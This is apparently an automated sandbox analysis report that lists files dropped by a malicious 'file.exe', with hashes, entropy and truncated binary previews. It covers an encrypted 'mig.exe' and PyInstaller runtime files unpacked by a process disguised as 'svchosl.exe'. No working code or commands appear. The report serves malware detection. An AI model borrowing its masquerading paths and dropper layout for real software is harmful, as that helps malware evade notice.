.P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.707073309639939
Encrypted:	false
SSDEEP:	96:F6baCBovkvhkvCCtjdWcA9LAHwdWcA9LAHn:F6bzMjQcA9LrQcA9LW
MD5:	1F0010C5939761E3EDB2822E53F494AD
SHA1:	48507D9C960B51506F7E94F0E0BDB6C1900FFE8B
SHA-256:	39345BA4D375AA7F20FB3782522A5B301BFB58115B79125537FC1A17DE7044A1
SHA-512:	7F5D0D0D43F822E40D47E8D7CF1C9C8ACBD8B851F3D50543B615E83C0BD8101C32A2DF93BAAB2361D6C4DC0C39B90B8155636A0E7BA834EEB3FB923B77C3A41D
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......x......!G.........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xz.....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xx...Roaming.@......DWSl.Xx.....C.....................w...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Xv.....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.Xv.....E.....................HY..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Xv.....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Xv.....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF50a255.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.707073309639939
Encrypted:	false
SSDEEP:	96:F6baCBovkvhkvCCtjdWcA9LAHwdWcA9LAHn:F6bzMjQcA9LrQcA9LW
MD5:	1F0010C5939761E3EDB2822E53F494AD
SHA1:	48507D9C960B51506F7E94F0E0BDB6C1900FFE8B
SHA-256:	39345BA4D375AA7F20FB3782522A5B301BFB58115B79125537FC1A17DE7044A1
SHA-512:	7F5D0D0D43F822E40D47E8D7CF1C9C8ACBD8B851F3D50543B615E83C0BD8101C32A2DF93BAAB2361D6C4DC0C39B90B8155636A0E7BA834EEB3FB923B77C3A41D
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......x......!G.........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xz.....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xx...Roaming.@......DWSl.Xx.....C.....................w...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Xv.....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.Xv.....E.....................HY..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Xv.....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Xv.....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF50a8fc.TMP (copy)

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.707073309639939
Encrypted:	false
SSDEEP:	96:F6baCBovkvhkvCCtjdWcA9LAHwdWcA9LAHn:F6bzMjQcA9LrQcA9LW
MD5:	1F0010C5939761E3EDB2822E53F494AD
SHA1:	48507D9C960B51506F7E94F0E0BDB6C1900FFE8B
SHA-256:	39345BA4D375AA7F20FB3782522A5B301BFB58115B79125537FC1A17DE7044A1
SHA-512:	7F5D0D0D43F822E40D47E8D7CF1C9C8ACBD8B851F3D50543B615E83C0BD8101C32A2DF93BAAB2361D6C4DC0C39B90B8155636A0E7BA834EEB3FB923B77C3A41D
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.......x......!G.........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xz.....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xx...Roaming.@......DWSl.Xx.....C.....................w...R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl.Xv.....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl.Xv.....E.....................HY..W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.Xv.....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.Xv.....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\mig.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	47147867
Entropy (8bit):	7.999777391568287
Encrypted:	true
SSDEEP:	786432:m5/faR80BcXAYOuzNYe6NAApOAsExCWUs38wJ/YSGlWfzewb7wrSvMEBE25t:wfiBOAY3j6NB1h/3JJ/YSdfA+vMEBE2r
MD5:	A2059CA7715450DC171F7608325744DA
SHA1:	59F73376071E1E81471E8452DB1C188340885A2F
SHA-256:	72EF598F8E69E142E21FEF23CFF48D2E9E49DCD142C12189656EAB3269B454EB
SHA-512:	8C2AB1EB0E74A35883F35031C80C98AC63301B21350978D3D322AAF1FC9F02FA7F96CF1F824818F04A821C7F50029A8B9D7B423CF488FD9121DFA00CC0F2562B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I.>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I.=>...I..=>..Rich<>..........PE..L..... b............................0........0....@..........................`............@.........................p...4.......P....@..P....................0..<#......T............................U..@............0..x....... ....................text............................... ..`.rdata.......0....... ..............@..@.data... G..........................@....didat.......0......................@....rsrc...P....@......................@..@.reloc..<#...0...$..................@..B................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\VCRUNTIME140.dll

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	89752
Entropy (8bit):	6.5021374229557996
Encrypted:	false
SSDEEP:	1536:EFmmAQ77IPzHql9a2k+2v866Xc/0i+N1WtYil42TZiCvecbtjawN+o/J:EQmI+NnXertP42xvecbtjd+ox
MD5:	0E675D4A7A5B7CCD69013386793F68EB
SHA1:	6E5821DDD8FEA6681BDA4448816F39984A33596B
SHA-256:	BF5FF4603557C9959ACEC995653D052D9054AD4826DF967974EFD2F377C723D1
SHA-512:	CAE69A90F92936FEBDE67DACD6CE77647CB3B3ED82BB66463CD9047E90723F633AA2FC365489DE09FECDC510BE15808C183B12E6236B0893AF19633F6A670E66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ferramenta-de-licitacion-SILEX-v3.0.3.exe, Detection: malicious, Browse Filename: CK_Office.exe, Detection: malicious, Browse Filename: Installer.msi, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.MulDrop26.47172.19490.20786.exe, Detection: malicious, Browse Filename: spyOhcYiT0.exe, Detection: malicious, Browse Filename: NXyJTepLSo.exe, Detection: malicious, Browse Filename: LaZagne.exe, Detection: malicious, Browse Filename: mFgIWyjDLH.exe, Detection: malicious, Browse Filename: mFgIWyjDLH.exe, Detection: malicious, Browse Filename: Runtime.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............x.D.x.D.x.D..AD.x.D..=D.x.D.x.D.x.Dx..E.x.Dx..E.x.Dx..E.x.Dx..E.x.Dx..E.x.Dx.QD.x.Dx..E.x.DRich.x.D........PE..d....}.Y.........." .........T...............................................`.......Y....`A........................................p...4............@.......0..(.... ...>...P..p.......8...........................@................................................text...$........................... ..`.rdata...6.......8..................@..@.data...0.... ......................@....pdata..(....0......................@..@.rsrc........@......................@..@.reloc..p....P......................@..B................................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\_bz2.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84040
Entropy (8bit):	6.41469022264903
Encrypted:	false
SSDEEP:	1536:SSpo7/9ZwseNsUQJ8rbXis0WwOpcAE+8aoBnuRtApxbBVZIG4VJyI:SSW7lZws+bLwOpvEZa+uRWVVZIG4VF
MD5:	3DC8AF67E6EE06AF9EEC52FE985A7633
SHA1:	1451B8C598348A0C0E50AFC0EC91513C46FE3AF6
SHA-256:	C55821F5FDB0064C796B2C0B03B51971F073140BC210CBE6ED90387DB2BED929
SHA-512:	DA16BFBC66C8ABC078278D4D3CE1595A54C9EF43AE8837CEB35AE2F4757B930FE55E258827036EBA8218315C10AF5928E30CB22C60FF69159C8FE76327280087
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H.1.).b.).b.).b.Qib.).b.A.c.).bM.=b.).b.A.c.).b.A.c.).b.A.c.).bD@.c.).b.O.c.).b.).b.).bD@.c.).bD@.c.).bD@.b.).bD@.c.).bRich.).b................PE..d.....].........." .........f......t........................................p.......a....`.............................................H............P.......@..(.......H....`......p...T...............................................8............................text...>........................... ..`.rdata..~A.......B..................@..@.data........0......................@....pdata..(....@......................@..@.rsrc........P....... ..............@..@.reloc.......`.......,..............@..B................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\_ctypes.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	123464
Entropy (8bit):	5.886703955852103
Encrypted:	false
SSDEEP:	3072:qpG85kJGmH3c+5M333KvUPzeENGLf3Tz4ccUZw1IGVPE:qDSGT+5+KMPzyLf3TEcKu
MD5:	F1E33A8F6F91C2ED93DC5049DD50D7B8
SHA1:	23C583DC98AA3F6B8B108DB5D90E65D3DD72E9B4
SHA-256:	9459D246DF7A3C638776305CF3683946BA8DB26A7DE90DF8B60E1BE0B27E53C4
SHA-512:	229896DA389D78CBDF2168753ED7FCC72D8E0E62C6607A3766D6D47842C0ABD519AC4F5D46607B15E7BA785280F9D27B482954E931645337A152B8A54467C6A5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..4..4..4..L@..4..\..4..\..4..\..4..\..4..]..4..R..4..R..4..]..4..4.i4..]..4..]..4..],..4..]..4.Rich.4.........PE..d.....].........." .................]....................................................`..........................................`......$a..........................H...........0...T...............................................`............................text............................... ..`.rdata..0l.......n..................@..@.data....>.......:...l..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\_hashlib.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45640
Entropy (8bit):	5.996546047346997
Encrypted:	false
SSDEEP:	768:8skeCps0iszzPFrGE/CBAdIPGV03ju774xxIGsIx7WDG4yw:81eCpLzDBZ+AdIPmYju7OxIGsIxWyw
MD5:	A6448BC5E5DA21A222DE164823ADD45C
SHA1:	6C26EB949D7EB97D19E42559B2E3713D7629F2F9
SHA-256:	3692FC8E70E6E29910032240080FC8109248CE9A996F0A70D69ACF1542FCA69A
SHA-512:	A3833C7E1CF0E4D181AC4DE95C5DFA685CF528DC39010BF0AC82864953106213ECCFF70785021CCB05395B5CF0DCB89404394327CD7E69F820D14DFA6FBA8CBA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2..&v.uv.uv.u...ur.u$..tt.u$..t}.u$..t~.u$..tt.u...tt.u.ts.uv.u..u.tw.u.tw.u.iuw.u.tw.uRichv.u................PE..d.....].........." .....@...Z......X2...............................................7....`..........................................u..P...@v..........................H............X..T...........................`X...............P...............................text....?.......@.................. ..`.rdata..p3...P...4...D..............@..@.data...h............x..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\_lzma.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	252488
Entropy (8bit):	6.080982550390949
Encrypted:	false
SSDEEP:	6144:bkHDwqjhhwYbOqQNEkT/4OQhJwAbHoqLNvka/gOFhUw6b4qCNxkV/3OdhAWwPbGE:bd7/IbtSKOt
MD5:	37057C92F50391D0751F2C1D7AD25B02
SHA1:	A43C6835B11621663FA251DA421BE58D143D2AFB
SHA-256:	9442DC46829485670A6AC0C02EF83C54B401F1570D1D5D1D85C19C1587487764
SHA-512:	953DC856AD00C3AEC6AEAB3AFA2DEB24211B5B791C184598A2573B444761DB2D4D770B8B807EBBA00EE18725FF83157EC5FA2E3591A7756EB718EBA282491C7C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........0d..^7..^7..^7..7..^7.._6..^7..[6..^7..Z6..^7..]6..^7Q._6..^7.._6..^7.._7..^7Q.S6..^7Q.^6..^7Q..7..^7Q.\6..^7Rich..^7........PE..d.....].........." .................6..............................................o*....`............................................L.......x.......................H.......$...@...T............................................... ............................text............................... ..`.rdata..............................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..$...........................@..B................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\_socket.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	78920
Entropy (8bit):	6.061178831576516
Encrypted:	false
SSDEEP:	1536:KzMe79sDb+eGm08Vr5lcDAB9/s+7+pkaOz3CkNA9y1IGVwCyMPbi:de79u8/GFmAB9/se+pROz3jN1IGVw+Pm
MD5:	D6BAE4B430F349AB42553DC738699F0E
SHA1:	7E5EFC958E189C117ECCEF39EC16EBF00E7645A9
SHA-256:	587C4F3092B5F3E34F6B1E927ECC7127B3FE2F7FA84E8A3D0C41828583BD5CEF
SHA-512:	A8F8FED5EA88E8177E291B708E44B763D105907E9F8C9E046C4EEBB8684A1778383D1FBA6A5FA863CA37C42FD58ED977E9BB3A6B12C5B8D9AB6EF44DE75E3D1E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........1..._..._..._....._...^.._...Z..._...[..._...\.._.a.^.._...^.._...^.B._.a.R..._.a._..._.a..._.a.]..._.Rich.._.................PE..d.....].........." .....x..........h........................................`.......2....`.............................................P...0........@.......0..........H....P.........T...........................@................................................text....v.......x.................. ..`.rdata...v.......x...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\_ssl.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	117832
Entropy (8bit):	6.052642675957794
Encrypted:	false
SSDEEP:	3072:x3xozhUCVgMUGSo5iY0nx2bsxSV3QilzQmxLZIG47HZ:p6zh72PGz0nxrmVG
MD5:	8EE827F2FE931163F078ACDC97107B64
SHA1:	149BB536F3492BC59BD7071A3DA7D1F974860641
SHA-256:	EAEEFA6722C45E486F48A67BA18B4ABB3FF0C29E5B30C23445C29A4D0B1CD3E4
SHA-512:	A6D24E72BF620EF695F08F5FFDE70EF93F42A3FA60F7C76EB0F521393C595717E05CCB7A61AE216C18FE41E95FB238D82637714CF5208EE8F1DD32AE405B5565
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t...0.u.0.u.0.u.9...6.u.b.t.2.u.b.p.<.u.b.q.8.u.b.v.2.u..t.6.u.U.t.7.u.0.t.C.u..x.2.u..u.1.u...1.u..w.1.u.Rich0.u.........PE..d.....].........." ................................................................K.....`..........................................S..d...4T..........................H...........`...T............................................................................text...Q........................... ..`.rdata.............................@..@.data...P4...........h..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\base_library.zip

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	841697
Entropy (8bit):	5.484581830277147
Encrypted:	false
SSDEEP:	24576:fhidp/tosQNRs54PK4IMTVw59bfCEg3TR32l:fhidp/tosQNRs54PK4IV9qw
MD5:	614436C7EA1EF4A93EDF3E388CA9DD65
SHA1:	68191FB975E9236DD9A9C5F856A5EB05E54FC082
SHA-256:	E728EC7DA471E7962C52BF86046F42863787F4564A08EE6666ED0C70E1A715C1
SHA-512:	F16437004378AECB9BD8ED81062D7AE17340EA483CDCD6259AD3279BEBD512AA2D92B012F85AFB74F34B4ECC1B45A6CE6F7FC2AA28F88D9A470BA33E50651B63
Malicious:	false
Preview:	PK..........!...7............._bootlocale.pycU....................................@....z...d.Z.d.d.l.Z.d.d.l.Z.e.j...d...r,d.d.d...Z.nJz.e.j...W.n4..e.k.rj......e.e.d...r\d.d.d...Z.n.d.d.d...Z.Y.n.X.d.d.d...Z.d.S.)...A minimal subset of the locale module used at interpreter startup.(imported by the _io module), in order to reduce startup time...Don't import directly from third-party code; use the `locale` module instead!......N..winTc....................C........t.j.j.r.d.S.t.....d...S.).N..UTF-8.........sys..flags..utf8_mode.._locale.._getdefaultlocale....do_setlocale..r......_bootlocale.py..getpreferredencoding...............r......getandroidapilevelc....................C........d.S.).Nr....r....r....r....r....r....r...............c....................C........t.j.j.r.d.S.d.d.l.}.\|...\|...S.).Nr....r......r....r....r......localer......r....r....r....r....r....r.....................c....................C....6...\|.r.t...t.j.j.r.d.S.t...t.j...}.\|.s2t.j.d.k.r2d.}.\|.S.).Nr......darwin....A

C:\Windows\Temp\_MEI65122\libcrypto-1_1.dll

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3381792
Entropy (8bit):	6.094908167946797
Encrypted:	false
SSDEEP:	49152:Y4TKuk29SIU6i5fOjPWl+0rOh5PKToEGG9I+q4dNQbZQm9aGupuu9LoeiyPaRb84:YiV+CGQ4dtBMeiJRb8+1CPwDv3uFZjN
MD5:	BF83F8AD60CB9DB462CE62C73208A30D
SHA1:	F1BC7DBC1E5B00426A51878719196D78981674C4
SHA-256:	012866B68F458EC204B9BCE067AF8F4A488860774E7E17973C49E583B52B828D
SHA-512:	AE1BDDA1C174DDF4205AB19A25737FE523DCA6A9A339030CD8A95674C243D0011121067C007BE56DEF4EAEFFC40CBDADFDCBD1E61DF3404D6A3921D196DCD81E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3...3...3...K...3..[...3..[...3..[...3..[...3..U...3...3..{3..qZ...3..qZ..1..qZ...3..qZf..3..qZ...3..Rich.3..................PE..d....k.].........." ......$..........r....................................... 4.......4...`..............................................f...Z3.@.....3.\|.....1.......3. .....3..O..P-,.8............................-,..............P3..............................text...g.$.......$................. ..`.rdata.......0$.......$.............@..@.data...Ax....1..*....0.............@....pdata........1.......1.............@..@.idata...#...P3..$....2.............@..@.00cfg........3.......2.............@..@.rsrc...\|.....3.......2.............@..@.reloc...x....3..z....3.............@..B........................................................................................................................................................

C:\Windows\Temp\_MEI65122\libffi-7.dll

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.372276555451265
Encrypted:	false
SSDEEP:	384:JYnlpDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYPoBhT/A4:JYe0Vn5Q28J8qsqMttktuTSTWDG4yhRe
MD5:	4424BAF6ED5340DF85482FA82B857B03
SHA1:	181B641BF21C810A486F855864CD4B8967C24C44
SHA-256:	8C1F7F64579D01FEDFDE07E0906B1F8E607C34D5E6424C87ABE431A2322EBA79
SHA-512:	8ADB94893ADA555DE2E82F006AB4D571FAD8A1B16AC19CA4D2EFC1065677F25D2DE5C981473FABD0398F6328C1BE1EBD4D36668EA67F8A5D25060F1980EE7E33
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........3..{]A.{]A.{]A...A.{]A..\@.{]A..\@.{]A.{\A.{]A..X@.{]A..Y@.{]A..^@.{]A..Y@.{]A..^@.{]A..]@.{]A.._@.{]ARich.{]A........................PE..d.....\.........." .....F...$.......I...................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\libssl-1_1.dll

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	686112
Entropy (8bit):	5.528877787845415
Encrypted:	false
SSDEEP:	12288:3L6MSpHovlo4qL7a3ZV9CblMOoAXToRtrBZf3Fb85BO9K9pB3TLPDdOU2lvz8:wIAL7a3heSFZf2Pq63HJOU2lvz
MD5:	FE1F3632AF98E7B7A2799E3973BA03CF
SHA1:	353C7382E2DE3CCDD2A4911E9E158E7C78648496
SHA-256:	1CE7BA99E817C1C2D71BC88A1BDD6FCAD82AA5C3E519B91EBD56C96F22E3543B
SHA-512:	A0123DFE324D3EBF68A44AFAFCA7C6F33D918716F29B063C72C4A8BD2006B81FAEA6848F4F2423778D57296D7BF4F99A3638FC87B37520F0DCBEEFA3A2343DE0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8<..YRT.YRT.YRT.!.T.YRT.1SU.YRT.?SU.YRT.1WU.YRT.1VU.YRT.1QU.YRTf0SU.YRT.YST.XRTf0VU.YRTf0RU.YRTf0.T.YRTf0PU.YRTRich.YRT................PE..d....k.].........." ..... ...D.......$...............................................2....`..............................................N...%..........s........K...^.. .......D.......8........................... ................................................text...7........ .................. ..`.rdata...#...0...$...$..............@..@.data...1M...`...D...H..............@....pdata...S.......T..................@..@.idata..rV.......X..................@..@.00cfg.......p.......8..............@..@.rsrc...s............:..............@..@.reloc..!............B..............@..B........................................................................................................................................................

C:\Windows\Temp\_MEI65122\python38.dll

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4183112
Entropy (8bit):	6.420172758698049
Encrypted:	false
SSDEEP:	49152:wV6CJES/Za2BaobNruDPYRQYK8JCNNtkAz+/Q46VqNo9NYxwCFIInKHJCMjntPNj:MxB/aDUQNtufeNFIKHoMjzkDU
MD5:	D2A8A5E7380D5F4716016777818A32C5
SHA1:	FB12F31D1D0758FE3E056875461186056121ED0C
SHA-256:	59AB345C565304F638EFFA7C0236F26041FD06E35041A75988E13995CD28ACE9
SHA-512:	AD1269D1367F587809E3FBE44AF703C464A88FA3B2AE0BF2AD6544B8ED938E4265AAB7E308D999E6C8297C0C85C608E3160796325286DB3188A3EDF040A02AB7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................................7[.........................................B............c...........Rich............................PE..d.....].........." .........."...............................................B.....f.@...`.........................................@I8.....X.9.\|.....B.......?.P.....?.H.....B. t..p. .T............................. .................X............................text...$........................... ..`.rdata..............................@..@.data........09......"9.............@....pdata..P.....?......2=.............@..@.rsrc.........B......8?.............@..@.reloc.. t....B..v...D?.............@..B................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\select.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26696
Entropy (8bit):	6.101296746249305
Encrypted:	false
SSDEEP:	768:6kYtqIDCNdwhBfAqXuqzz5H1IGqGbWDG4y4:6TnDCNCh93X7zzR1IGqG2y4
MD5:	6AE54D103866AAD6F58E119D27552131
SHA1:	BC53A92A7667FD922CE29E98DFCF5F08F798A3D2
SHA-256:	63B81AF5D3576473C17AC929BEA0ADD5BF8D7EA95C946CAF66CBB9AD3F233A88
SHA-512:	FF23F3196A10892EA22B28AE929330C8B08AB64909937609B7AF7BFB1623CD2F02A041FD9FAB24E4BC1754276BDAFD02D832C2F642C8ECDCB233F639BDF66DD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................)............................M................M......M......M.E....M......Rich...........PE..d.....].........." .........2......h...............................................a"....`..........................................?..L....@..x....p.......`.......N..H.......,....2..T............................3...............0...............................text...u........................... ..`.rdata.......0......."..............@..@.data........P.......:..............@....pdata.......`.......<..............@..@.rsrc........p.......@..............@..@.reloc..,............L..............@..B................................................................................................................................................................................................................................................

C:\Windows\Temp\_MEI65122\unicodedata.pyd

Download File

Process:	C:\ProgramData\MicrosoftSystem\svchosl.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1096264
Entropy (8bit):	5.343512979675051
Encrypted:	false
SSDEEP:	12288:EGe9qQOZ67191SnFRFotduNFBjCmN/XlyCAx9++bBlhJk93cgewrxEeBc0bB:EGe9GK4oYhCc/+9nbDhG2wrxc0bB
MD5:	4C0D43F1A31E76255CB592BB616683E7
SHA1:	0A9F3D77A6E064BAEBACACC780701117F09169AD
SHA-256:	0F84E9F0D0BF44D10527A9816FCAB495E3D797B09E7BBD1E6BD666CEB4B6C1A8
SHA-512:	B8176A180A441FE402E86F055AA5503356E7F49E984D70AB1060DEE4F5F17FCEC9C01F75BBFF75CE5F4EF212677A6525804BE53646CC0D7817B6ED5FD83FD778
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.0v..^%..^%..^%.f.%..^%Tv_$..^%Tv[$..^%TvZ$..^%Tv]$..^%.w_$..^%cx_$..^%.._%N.^%.wS$..^%.w^$..^%.w.%..^%.w\$..^%Rich..^%................PE..d.....].........." .....L...V.......*..............................................-.....`.........................................p...X..............................H........... )..T............................)...............`..p............................text...1J.......L.................. ..`.rdata..>-...`.......P..............@..@.data................~..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.647783789938173
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	413'184 bytes
MD5:	fdb35993f43fb0c0b3fadb2aef70b0be
SHA1:	0881f937004e97e9aa3ee8688dccbd48ba2303ab
SHA256:	4b5b5a34e4b2dd842b5a097a93a47385316f68907fe5b512b494c6a608e446ee
